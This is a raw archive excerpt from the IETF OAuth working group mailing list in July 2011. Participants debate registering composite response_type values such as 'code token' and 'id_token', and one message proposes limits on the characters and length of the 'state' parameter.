>> >> >> = > On Jul 11, 2011, at 18:07, "Marius Scurtescu"
>> &g= t;> >> > <mscurtesc= u@google.com>
>> >> >> wrote:
>> >&= gt; >> >
>> >> >> >> If I read section = 8.4 correctly it seems that new response
>> >> >> >= > types can be defined but composite values must be registered
>&g= t; explicitly.
>> >> >> >>
>> >> = >> >> I don't think this approach scales too well. OpenID Conne= ct for
>> >> >> >> example is adding a new respo= nse type: id_token.
>> >> >> >>
>> >= > >> >> id_token can be combined with either code or token a= nd
>> >> >> >> potentially with both of them, th= e following combinations must
>> >> >> >> be reg= istered as a
>> >> >> >> result:
>> >= ;> >> >> code+id_token
>> >> >> >>= ; token+id_token
>> >> >> >> code+token+id_token=
>> >> >> >>
>> >> >> >&= gt; and this assumes that code+token is already registered.
>> >= ;> >> >>
>> >> >> >> I think it m= akes more sense to define response_type as a space
>> >> >= ;> >> separated list of items, where each item can be individually=
>> >> >> >> registered. I do realize that this = complicates things quite a
>> >> >> >> bit (not = we have to define and deal with both composite
>> >> >>= ; >> response_type and the individual items).
>> >> &g= t;> >>
>> >> >> >> As a side note, usin= g + as separator could cause lots of
>>problems.
>> >&= gt; >> >> If people naively type "code+toke" it will = be decoded as "code
>> token".
>> >> >= > >> No one will remember the hex code for +.
>> >>= >> >>
>> >> >> >> Marius
>>= ; >> >> >> ______________________________________________= _
>> >> >> >> OAuth mailing list
>> >= ;> >> >> OAuth@ietf.org
>> >> >> >> https://www.ietf.org/mailman/listin= fo/oauth
>> >> >> >
>> >> >&g= t;
>> >> >>
>> >> >>
>> = >> >> --
>> >> >> --Breno
>> >= > >
>> >>
>> >>
>> >>>> >> --
>> >> --Breno
>> >
>= >
>>
>>
>> --
>> --Breno
>>= _______________________________________________
>> OAuth mailing = list
>> OAuth@ietf.org
&g= t;> https://www.ietf.org/mailman/listinfo/oauth
>>
>&g= t; _______________________________________________
>> OAuth mailin= g list
>> OAuth@ietf.org
= >> https://www.ietf.org/mailman/listinfo/oauth
>____________= ___________________________________
>OAuth mailing list
>OAuth@ietf.org
>https://www.ietf.org/m= ailman/listinfo/oauth

__________________________________________= _____
OAuth mailing list
OAuth@ietf= .org
https://www.ietf.org/mailman/listinfo/oauth

<= /div>




--
Breno de Medeiros

= --_000_90C41DD21FB7C64BB94121FBBC2E72345020652C8AP3PW5EX1MB01E_-- From breno.demedeiros@gmail.com Wed Jul 20 08:51:31 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 3A7AD21F85B8 for ; Wed, 20 Jul 2011 08:51:31 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.998 X-Spam-Level: X-Spam-Status: No, score=-2.998 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hpVyysuSp93Z for ; Wed, 20 Jul 2011 08:51:29 -0700 (PDT) Received: from mail-pz0-f53.google.com (mail-pz0-f53.google.com [209.85.210.53]) by ietfa.amsl.com (Postfix) with ESMTP id 3CF4121F85A4 for ; Wed, 20 Jul 2011 08:51:26 -0700 (PDT) Received: by pzk6 with SMTP id 6so481997pzk.26 for ; Wed, 20 Jul 2011 08:51:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=DsYgxFkLLUDNz5+r1lNRPsbJpwqvmZ4/Nn7aG9RmOD4=; b=qrVc28gW7L627W702YgyBSBTZV8NjCzwNpU8UbvNPT6iW8f4yUhVfDWSTeWgCxWoeV WhOueMcZPJgsNBz9C6uC/oNxrOL4FP3NbsfejBUv660MKZWhJ2+Oa5JE51nk/7SWK4Td nlWw28Ge3nMLuYstaSIk4TC0OKiuPh/HNORW0= MIME-Version: 1.0 Received: by 10.68.42.197 with SMTP id q5mr4893295pbl.191.1311177085703; Wed, 20 Jul 2011 08:51:25 -0700 (PDT) Received: by 10.68.42.41 with HTTP; Wed, 20 Jul 2011 08:51:25 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345020652C8A@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652C8A@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 08:51:25 -0700 Message-ID: From: Breno To: Eran Hammer-Lahav Content-Type: multipart/alternative; boundary=bcaec544ec7c6e579604a88234e4 Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 15:51:31 -0000 --bcaec544ec7c6e579604a88234e4 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable On Wed, Jul 20, 2011 at 8:42 AM, Eran Hammer-Lahav wro= te: > If you don=92t register the combination, how would anyone know (aside fro= m > reading every service specific documentation) what the combination means.= As > clearly stated in your own list, at a minimum, the location of the > credentials is not obvious and must be defined. We had a long discussion = on > this list about the correct implementation of =93token code=94 as one exa= mple. > Sounds good. > **** > > ** ** > > The cost of registration is VERY low. You don=92t need an RFC to do it. Y= ou > just need to publish a specification defining the response type and make = it > available somewhere stable. For example, on a Google official blog or > documentation site, or on the OpenID Foundation site (your personal blog > isn=92t ideal but can also sometime work). Once published, you send an em= ail > to the extension list and ask for registration. The template takes no tim= e > at all (requested name, your name or your company/organization name, and = the > location of the specification). You might get some feedback from the > designated expert (e.g. if you try to register =91token_and_code=92 they = might > suggest changing it to =91token code=92 or if you try to register =91send= _nothing=92 > they will suggest =91none=92, etc.).**** > > ** ** > > Really the only requirement is that you write a short specification > defining the combination. If you maintain a public web page with all the > combination you defined, you can keep adding those there instead of writi= ng > new specification for each new one, as long as you keep the registered > values unchanged once registered.**** > > ** ** > > So the cost is really insignificant, but the benefit of clarity and inter= op > is significant.**** > > ** ** > > EHL**** > > ** ** > > ** ** > > *From:* oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] *On Behalf > Of *Breno > *Sent:* Wednesday, July 20, 2011 7:52 AM > *To:* Paul Tarjan > > *Cc:* OAuth WG > *Subject:* Re: [OAUTH-WG] defining new response types**** > > ** ** > > ** ** > > Comments inline.**** > > ** ** > > On Tue, Jul 12, 2011 at 8:23 PM, Paul Tarjan wrote:**** > > I like splitting on space like scopes. But I'm fine with registering all > possible compositions that make sense, if you prefer.**** > > ** ** > > I agree with Marius that registering the combinations are not useful, > however also agree with Paul that it's not a show stopper.**** > > **** > > > > As I posted to the group about a month ago, we are planning on supporting > > response_type=3Dnone > response_type=3Dcode > response_type=3Dtoken > response_type=3Dsigned_request token > response_type=3Dtoken signed_request > (and maybe "code token"/"token code")**** > > ** ** > > Google is planning to support the following combinations:**** > > ** ** > > response_type=3Dnode**** > > response_type=3Did_token**** > > response_type=3Dcode**** > > response_type=3Dtoken**** > > response_type=3Dcode token (in either order, fragment-encoded response)**= ** > > response_type=3Dcode id_token (in either order, query-encoded response)**= ** > > response_type=3Dtoken id_token (in either order, fragment-encoded respons= e)* > *** > > response_type=3Dcode token id_token (in any possible order, fragment-enco= ded > response)**** > > ** ** > > **** > > We already have support for response_type=3Dnone and the signed_request o= ne > is a few weeks out. > > Paul**** > > > > On 7/12/11 1:35 PM, "Eran Hammer-Lahav" wrote: > > >I will withdraw my objections to the change (parsing the response_type > >string) if enough support is present. If you care about it, please speak > >out now. > > > >EHL > > > >> -----Original Message----- > >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > >> Of Mike Jones > >> Sent: Tuesday, July 12, 2011 1:32 PM > >> To: OAuth WG > >> Subject: Re: [OAUTH-WG] defining new response types > >> > >> As a data point motivating this functionality, the OpenID Connect Core > >>spec > >> currently includes: > >> > >> response_type > >> A space delimited, case sensitive list of string > >> values (Pending OAuth 2.0 changes). Acceptable values include > >> "code", "token", and "none". The value MUST include "code" for > >> requesting an Authorization Code, "token" for requesting an Acce= ss > >> Token, and "none" if no response is needed. > >> > >> The OpenID Connect Session Management spec also defines an "id_token" > >> response_type. Combinations of these (other than "none") are meaningf= ul > >> and used. > >> > >> The syntax for this can change, but this functionality is very > >>important to > >> OpenID Connect as it is currently written. > >> > >> Thanks, > >> -- Mike > >> > >> -----Original Message----- > >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > >> Of Breno de Medeiros > >> Sent: Tuesday, July 12, 2011 11:48 AM > >> To: Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] defining new response types > >> > >> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav > >> wrote: > >> > That's pretty farfetched. In previous versions we had 'code_and_toke= n' > >> which was a composite value but without any special characters. If > >>people > >> think that we need to force such values to avoid this claimed develope= r > >> confusion, let's drop the + and be done. > >> > > >> > >> Maybe far fetched, but it's already available in our production > >>environment -- > >> we had implemented the code_and_token approach earlier (though not > >> documented it) but abandoned that route as we thought the exponential > >> explosion was harmful when we started contemplating adding new types > >> and allowing various combinations of them. > >> > >> > The only requirement I was asked to cover was to allow response type > >> extensibility. If there is WG consensus to also support the requiremen= t > >>of > >> composite values using any order, we can discuss that. > >> > >> Let's. > >> > >> > > >> > In addition, defining a parsing method adds a significant amount of > >>new > >> complexity beyond just splitting the string: > >> > > >> > * It allows for composite values that make no sense (since anything > >>goes, > >> composite values are not registered, just the components). > >> > * Additional error codes are needed to indicate bad format, > >>unsupported > >> values (specify which one), unsupported combinations, etc. > >> > * Developers lose the benefit of a simple registry with every possib= le > >> combination they may choose. > >> > > >> > So the two questions are: > >> > > >> > 1. Do you find the + proposal as defined in -18 to be useful or > >>confusing? > >> > >> It is ugly. > >> > >> > 2. Should the protocol support dynamic composite values with the add= ed > >> complexity (breaking change)? > >> > >> That's my preference. > >> > >> > > >> > EHL > >> > > >> >> -----Original Message----- > >> >> From: Breno de Medeiros [mailto:breno@google.com] > >> >> Sent: Tuesday, July 12, 2011 11:18 AM > >> >> To: Eran Hammer-Lahav > >> >> Cc: Marius Scurtescu; OAuth WG > >> >> Subject: Re: [OAUTH-WG] defining new response types > >> >> > >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav > >> >> > >> >> wrote: > >> >> > Requiring parsing of the response type parameter is a big change = at > >> >> > this > >> >> point. Even if it is a decent idea, I'm against it for the sole > >> >> reason that I don't want to introduce such a change - we're done. > >> >> > > >> >> > The + character makes reading values easier because it give > >> >> > composites of > >> >> existing, individually defined values, a special meaning to *people= *, > >> >> but it does not change any existing code or adds any work. Servers > >> >> will still perform simple string comparison. Parsing a list of > >>values is > >> unnecessary complexity. > >> >> Developers can learn to put values in their expected order (since > >> >> they are all going to cut-n-paste anyway). > >> >> > >> >> I disagree. I believe that servers will either not support the > >> >> composite types at all, or will allow developers to enter it into a= ny > >> >> order to avoid developer pain. > >> >> > >> >> Also, developers will _not_ cut-and-paste. They will expect the fac= t > >> >> that order is not meaningful by interacting with providers that don= 't > >> >> perform exact string matching and then have interoperability issues > >> >> with compliant implementations. > >> >> > >> >> > > >> >> > I rather drop the special character then add parsing, but I think > >> >> > it is a useful > >> >> *convention*. > >> >> > > >> >> > Do people want to keep it or drop it? > >> >> > > >> >> > EHL > >> >> > > >> >> > > >> >> >> -----Original Message----- > >> >> >> From: Breno de Medeiros [mailto:breno@google.com] > >> >> >> Sent: Tuesday, July 12, 2011 10:59 AM > >> >> >> To: Eran Hammer-Lahav > >> >> >> Cc: Marius Scurtescu; OAuth WG > >> >> >> Subject: Re: [OAUTH-WG] defining new response types > >> >> >> > >> >> >> Imposing order and exact string matching on response_type's whil= e > >> >> >> simultaneously supporting a special character '+' and introducin= g > >> >> >> the concept of composite response_type is a poor compromise, > >> IMNSHO. > >> >> What > >> >> >> is the rationale to fear allowing multiple-valued response_type = as > >> >> >> we have for other parameters in the spec? > >> >> >> > >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav > >> >> >> > >> >> >> wrote: > >> >> >> > As for the plus encoding we can choose another char or give an > >> >> example. > >> >> >> > > >> >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" > >> >> >> > > >> >> >> wrote: > >> >> >> > > >> >> >> >> If I read section 8.4 correctly it seems that new response > >> >> >> >> types can be defined but composite values must be registered > >> explicitly. > >> >> >> >> > >> >> >> >> I don't think this approach scales too well. OpenID Connect f= or > >> >> >> >> example is adding a new response type: id_token. > >> >> >> >> > >> >> >> >> id_token can be combined with either code or token and > >> >> >> >> potentially with both of them, the following combinations mus= t > >> >> >> >> be registered as a > >> >> >> >> result: > >> >> >> >> code+id_token > >> >> >> >> token+id_token > >> >> >> >> code+token+id_token > >> >> >> >> > >> >> >> >> and this assumes that code+token is already registered. > >> >> >> >> > >> >> >> >> I think it makes more sense to define response_type as a spac= e > >> >> >> >> separated list of items, where each item can be individually > >> >> >> >> registered. I do realize that this complicates things quite a > >> >> >> >> bit (not we have to define and deal with both composite > >> >> >> >> response_type and the individual items). > >> >> >> >> > >> >> >> >> As a side note, using + as separator could cause lots of > >>problems. > >> >> >> >> If people naively type "code+toke" it will be decoded as "cod= e > >> token". > >> >> >> >> No one will remember the hex code for +. > >> >> >> >> > >> >> >> >> Marius > >> >> >> >> _______________________________________________ > >> >> >> >> OAuth mailing list > >> >> >> >> OAuth@ietf.org > >> >> >> >> https://www.ietf.org/mailman/listinfo/oauth > >> >> >> > > >> >> >> > >> >> >> > >> >> >> > >> >> >> -- > >> >> >> --Breno > >> >> > > >> >> > >> >> > >> >> > >> >> -- > >> >> --Breno > >> > > >> > >> > >> > >> -- > >> --Breno > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > >> > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > >_______________________________________________ > >OAuth mailing list > >OAuth@ietf.org > >https://www.ietf.org/mailman/listinfo/oauth > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth**** > > > > > -- > Breno de Medeiros**** > --=20 Breno de Medeiros --bcaec544ec7c6e579604a88234e4 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

On Wed, Jul 20, 2011 at 8:42 AM, Eran Ha= mmer-Lahav <era= n@hueniverse.com> wrote:

If you don=92t register = the combination, how would anyone know (aside from reading every service sp= ecific documentation) what the combination means. As clearly stated in your= own list, at a minimum, the location of the credentials is not obvious and= must be defined. We had a long discussion on this list about the correct i= mplementation of =93token code=94 as one example.


Sounds good.
=A0

=

=A0

The cost of registration is VERY= low. You don=92t need an RFC to do it. You just need to publish a specific= ation defining the response type and make it available somewhere stable. Fo= r example, on a Google official blog or documentation site, or on the OpenI= D Foundation site (your personal blog isn=92t ideal but can also sometime w= ork). Once published, you send an email to the extension list and ask for r= egistration. The template takes no time at all (requested name, your name o= r your company/organization name, and the location of the specification). Y= ou might get some feedback from the designated expert (e.g. if you try to r= egister =91token_and_code=92 they might suggest changing it to =91token cod= e=92 or if you try to register =91send_nothing=92 they will suggest =91none= =92, etc.).

=A0

Really the only requirement is that you write a short spe= cification defining the combination. If you maintain a public web page with= all the combination you defined, you can keep adding those there instead o= f writing new specification for each new one, as long as you keep the regis= tered values unchanged once registered.

=A0

So the cost is really insignificant, but the benefit of c= larity and interop is significant.

=A0

EHL

=A0

=A0

From:= oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Be= half Of Breno
Sent: Wednesday, July 20, 2011 7:52 AM
To: Paul Tarjan


Cc: OAuth WG
Subj= ect: Re: [OAUTH-WG] defining new response types

=A0

=A0

Comments inline.

=A0

On Tue, Jul 12, 2011 at 8:23 PM, Paul Tarjan <pt@fb.com> wrote:

I like splitting on space like scopes. But I'm fine with registering al= l
possible compositions that make sense, if you prefer.

=A0

I agree with Marius that registering the combinations are not useful, howev= er also agree with Paul that it's not a show stopper.

=

=A0



As I posted t= o the group about a month ago, we are planning on supporting

respons= e_type=3Dnone
response_type=3Dcode
response_type=3Dtoken
response_= type=3Dsigned_request token
response_type=3Dtoken signed_request
(and maybe "code token"/&= quot;token code")

=A0

Google is plan= ning to support the following combinations:

=A0

response_type=3Dnode

response_type=3Did_token

response_type=3Dcode

res= ponse_type=3Dtoken

respo= nse_type=3Dcode token (in either order, fragment-encoded response)

response_type=3Dcode id_token (in either = order, query-encoded response)

response_type=3Dtoken id_token (in either order, fragment-encoded re= sponse)

response_type=3Dcode token id_token (in a= ny possible order, fragment-encoded response)

<= p class=3D"MsoNormal">=A0

=A0

We already have support for response_type=3Dnone and the signed_reque= st one
is a few weeks out.

Paul=



On 7/12/11 1:35 PM, &qu= ot;Eran Hammer-Lahav" <eran@hueniverse.com> wrote:

>I will withdraw my objections to the change (parsing the response_t= ype
>string) if enough support is present. If you care about it, plea= se speak
>out now.
>
>EHL
>
>> -----Origin= al Message-----
>> From: = oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf
>> Of Mi= ke Jones
>> Sent: Tuesday, July 12, 2011 1:32 PM
>> To: OAuth WG
&= gt;> Subject: Re: [OAUTH-WG] defining new response types
>>
= >> As a data point motivating this functionality, the OpenID Connect = Core
>>spec
>> currently includes:
>>
>> =A0 = =A0response_type
>> =A0 =A0 =A0 A space delimited, case sensitive = list of string
>> =A0 =A0 =A0 values (Pending OAuth 2.0 changes). = =A0Acceptable values include
>> =A0 =A0 =A0 "code", "token", and "none&qu= ot;. =A0The value MUST include "code" for
>> =A0 =A0 =A0= requesting an Authorization Code, "token" for requesting an Acce= ss
>> =A0 =A0 =A0 Token, and "none" if no response is ne= eded.
>>
>> The OpenID Connect Session Management spec also define= s an "id_token"
>> response_type. =A0Combinations of the= se (other than "none") are meaningful
>> and used.
>>
>> The syntax for this can change, but this functionality= is very
>>important to
>> OpenID Connect as it is curren= tly written.
>>
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Thanks= ,
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 -- Mike
>>
>> -----Original Message-----
>> From: oauth-bounces@ietf.org= [mailto:oa= uth-bounces@ietf.org] On Behalf
>> Of Breno de Medeiros
>> Sent: Tuesday, July 12, 2011 11:4= 8 AM
>> To: Eran Hammer-Lahav
>> Cc: OAuth WG
>>= Subject: Re: [OAUTH-WG] defining new response types
>>
>>= ; On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav <eran@hueniverse.com>
>> wrote:
>> > That's pretty farfetched. In previous = versions we had 'code_and_token'
>> which was a composite = value but without any special characters. If
>>people
>> = think that we need to force such values to avoid this claimed developer
>> confusion, let's drop the + and be done.
>> >
&= gt;>
>> Maybe far fetched, but it's already available in ou= r production
>>environment --
>> we had implemented the c= ode_and_token approach earlier (though not
>> documented it) but abandoned that route as we thought the exponent= ial
>> explosion was harmful when we started contemplating adding = new types
>> and allowing various combinations of them.
>>= ;
>> > The only requirement I was asked to cover was to allow respon= se type
>> extensibility. If there is WG consensus to also support= the requirement
>>of
>> composite values using any order= , we can discuss that.
>>
>> Let's.
>>
>> >
>> &g= t; In addition, defining a parsing method adds a significant amount of
&= gt;>new
>> complexity beyond just splitting the string:
>> >
>> > * It allows for composite values that make n= o sense (since anything
>>goes,
>> composite values are n= ot registered, just the components).
>> > * Additional error co= des are needed to indicate bad format,
>>unsupported
>> values (specify which one), unsupported com= binations, etc.
>> > * Developers lose the benefit of a simple = registry with every possible
>> combination they may choose.
>> >
>> > So the two questions are:
>> >>> > 1. Do you find the + proposal as defined in -18 to be usefu= l or
>>confusing?
>>
>> It is ugly.
>><= br> >> > 2. Should the protocol support dynamic composite values with = the added
>> complexity (breaking change)?
>>
>>= That's my preference.
>>
>> >
>> > EH= L
>> >
>> >> -----Original Message-----
>> &= gt;> From: Breno de Medeiros [mailto:breno@google.com]
>> >> Sent: Tuesday= , July 12, 2011 11:18 AM
>> >> To: Eran Hammer-Lahav
>> >> Cc: Marius Scu= rtescu; OAuth WG
>> >> Subject: Re: [OAUTH-WG] defining new = response types
>> >>
>> >> On Tue, Jul 12, 20= 11 at 11:10, Eran Hammer-Lahav
>> >> <eran@hueniverse.com>
>> >> wrote:
>> >= ;> > Requiring parsing of the response type parameter is a big change= at
>> >> > this
>> >> point. Even if it is a dec= ent idea, I'm against it for the sole
>> >> reason that = I don't want to introduce such a change - we're done.
>> &= gt;> >
>> >> > The + character makes reading values easier because = it give
>> >> > composites of
>> >> existi= ng, individually defined values, a special meaning to *people*,
>>= >> but it does not change any existing code or adds any work. Server= s
>> >> will still perform simple string comparison. Parsing a li= st of
>>values is
>> unnecessary complexity.
>> = >> Developers can learn to put values in their expected order (since<= br> >> >> they are all going to cut-n-paste anyway).
>> &g= t;>
>> >> I disagree. I believe that servers will either = not support the
>> >> composite types at all, or will allow = developers to enter it into any
>> >> order to avoid developer pain.
>> >>
&g= t;> >> Also, developers will _not_ cut-and-paste. They will expect= the fact
>> >> that order is not meaningful by interacting = with providers that don't
>> >> perform exact string matching and then have interoperabil= ity issues
>> >> with compliant implementations.
>>= >>
>> >> >
>> >> > I rather drop= the special character then add parsing, but I think
>> >> > it is a useful
>> >> *convention*.>> >> >
>> >> > Do people want to keep it= or drop it?
>> >> >
>> >> > EHL
>> >> >
>> >> >
>> >> >&= gt; -----Original Message-----
>> >> >> From: Breno de= Medeiros [mailto:bre= no@google.com]
>> >> >> Sent: Tuesday, July 12, 2011 10:59 AM
>>= ; >> >> To: Eran Hammer-Lahav
>> >> >> Cc:= Marius Scurtescu; OAuth WG
>> >> >> Subject: Re: [OAU= TH-WG] defining new response types
>> >> >>
>> >> >> Imposing order and= exact string matching on response_type's while
>> >> &g= t;> simultaneously supporting a special character '+' and introd= ucing
>> >> >> the concept of composite response_type is a poor= compromise,
>> IMNSHO.
>> >> What
>> >= > >> is the rationale to fear allowing multiple-valued response_ty= pe as
>> >> >> we have for other parameters in the spec?
>= ;> >> >>
>> >> >> On Mon, Jul 11, 2011 = at 18:51, Eran Hammer-Lahav
>> >> >> <eran@hueniverse.com>
>> >> >> wrote:
>> >> >> > As for= the plus encoding we can choose another char or give an
>> >&g= t; example.
>> >> >> >
>> >> >>= ; > On Jul 11, 2011, at 18:07, "Marius Scurtescu"
>> >> >> > <mscurtescu@google.com>
>> >> >= > wrote:
>> >> >> >
>> >> >>= ; >> If I read section 8.4 correctly it seems that new response
>> >> >> >> types can be defined but composite valu= es must be registered
>> explicitly.
>> >> >>= >>
>> >> >> >> I don't think this app= roach scales too well. OpenID Connect for
>> >> >> >> example is adding a new response type: = id_token.
>> >> >> >>
>> >> >&= gt; >> id_token can be combined with either code or token and
>> >> >> >> potentially with both of them, the foll= owing combinations must
>> >> >> >> be registere= d as a
>> >> >> >> result:
>> >> = >> >> code+id_token
>> >> >> >> token+id_token
>> >> >= ;> >> code+token+id_token
>> >> >> >>>> >> >> >> and this assumes that code+token is a= lready registered.
>> >> >> >>
>> >> >> >> = I think it makes more sense to define response_type as a space
>> = >> >> >> separated list of items, where each item can be = individually
>> >> >> >> registered. I do realize that this comp= licates things quite a
>> >> >> >> bit (not we h= ave to define and deal with both composite
>> >> >> &g= t;> response_type and the individual items).
>> >> >> >>
>> >> >> >> = As a side note, using + as separator could cause lots of
>>problem= s.
>> >> >> >> If people naively type "code= +toke" it will be decoded as "code
>> token".
>> >> >> >> No one will re= member the hex code for +.
>> >> >> >>
>&g= t; >> >> >> Marius
>> >> >> >>= _______________________________________________
>> >> >> >> OAuth mailing list
>> >>= >> >> OAut= h@ietf.org
>> >> >> >> https://www.ietf.org/m= ailman/listinfo/oauth
>> >> >> >
>> >> >>
>> &= gt;> >>
>> >> >>
>> >> >>= ; --
>> >> >> --Breno
>> >> >
>> >>
>> >>
>> >>
>> >= ;> --
>> >> --Breno
>> >
>>
>&= gt;
>>
>> --
>> --Breno
>> ____________= ___________________________________
>> OAuth mailing list
>> OAuth@ietf.org
>> https://www.ietf.org/mailman= /listinfo/oauth
>>
>> _______________________________________________
>= ;> OAuth mailing list
>> OAuth@ietf.org
>> https://www.ietf.org/mailman/li= stinfo/oauth
>_______________________________________________
>OAuth mailing li= st
>OAuth@ietf.or= g
>https://www.ietf.org/mailman/listinfo/oauth

_______________________________________________
OAuth mailing listOAuth@ietf.org= https://www.ietf.org/mailman/listinfo/oauth




--
Breno de Medeiros<= /p>




--
Breno de Medeiros

--bcaec544ec7c6e579604a88234e4-- From bigbadbob0@gmail.com Wed Jul 20 09:10:06 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D797D21F8AEF for ; Wed, 20 Jul 2011 09:10:06 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.864 X-Spam-Level: X-Spam-Status: No, score=-2.864 tagged_above=-999 required=5 tests=[AWL=0.113, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id flghC9ZlXxro for ; Wed, 20 Jul 2011 09:10:06 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id 0CA4F21F8AE9 for ; Wed, 20 Jul 2011 09:10:05 -0700 (PDT) Received: by qwc23 with SMTP id 23so310735qwc.31 for ; Wed, 20 Jul 2011 09:09:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=kckWqXywm0wdlJWZyVuvCHhU+o9yhS+IP4gAm4jeI6M=; b=qvCUrtC+/rs+nVCFGVeP0Yb6IDYzXk9SdDyIYzrW/GpX5dB+QJuYpb/rYVJ4BJhFtP 5H6voxYN1/DqLi2rP7ki7FNH8IEnMpgKfwxH7/eMQwuu0lXgjNWbee4g3fkqUp9DPkrA h+q2uu4oQUoiOd27yEnNQD+rlV8NgV3SIQkVo= MIME-Version: 1.0 Received: by 10.229.30.138 with SMTP id u10mr5012481qcc.3.1311178190872; Wed, 20 Jul 2011 09:09:50 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.100.136 with HTTP; Wed, 20 Jul 2011 09:09:50 -0700 (PDT) In-Reply-To: References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 09:09:50 -0700 X-Google-Sender-Auth: L7_z07s1OPyXHtncmPJ5Gh6NUuI Message-ID: From: Bob Van Zant To: Breno , Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 16:10:07 -0000 I think somewhere in here my original comments got lost. The spec, as written, provides no limitations on what can go in the state variable. If we don't define those limitations in the spec implementors are going to define their own limitations (I'm on the verge of doing it myself). I propose that the state variable be limited to the set of characters [a-zA-Z0-9_-] and be restricted to a maximum length of 150 characters. It's simple, doesn't require URL encoding, and will be hard for a client application to turn into a vulnerability. It provides plenty of uniqueness (it can fit a sha512) for even the largest and most used client applications. -Bob On Wed, Jul 20, 2011 at 8:24 AM, Breno wrote: > > > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > wrote: >> >> >> > -----Original Message----- >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> > Of Eliot Lear >> > Sent: Sunday, July 17, 2011 2:49 AM >> >> > One other point: if the redirection_uri can have fragments and can be >> > provided, why is state necessary? >> >> First, I assume you mean query instead of fragment. >> >> This was discussed on the list about a year ago. There isn't a requirement >> to support both dynamic redirection URIs as well as a special state >> parameter. However, the state parameter provides a better way to allow >> customization of the redirection request alongside full registration of the >> redirection URI. Section 3.1.2 recommends using the state parameter over >> changing the redirection URI itself. >> >> Using state is much simpler because the authorization server does not have >> to implement potentially insecure URI comparison algorithms for dynamic >> redirection URIs. > > Agree -- for instance, Google's provider doesn't allow arbitrary dynamic > specification of query or fragment parameters in redirect URIs, for > instance, due largely to security considerations. > >> >> EHL >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > > > > -- > Breno de Medeiros > > From eran@hueniverse.com Wed Jul 20 09:12:03 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7FA2F21F84DF for ; Wed, 20 Jul 2011 09:12:03 -0700 (PDT) 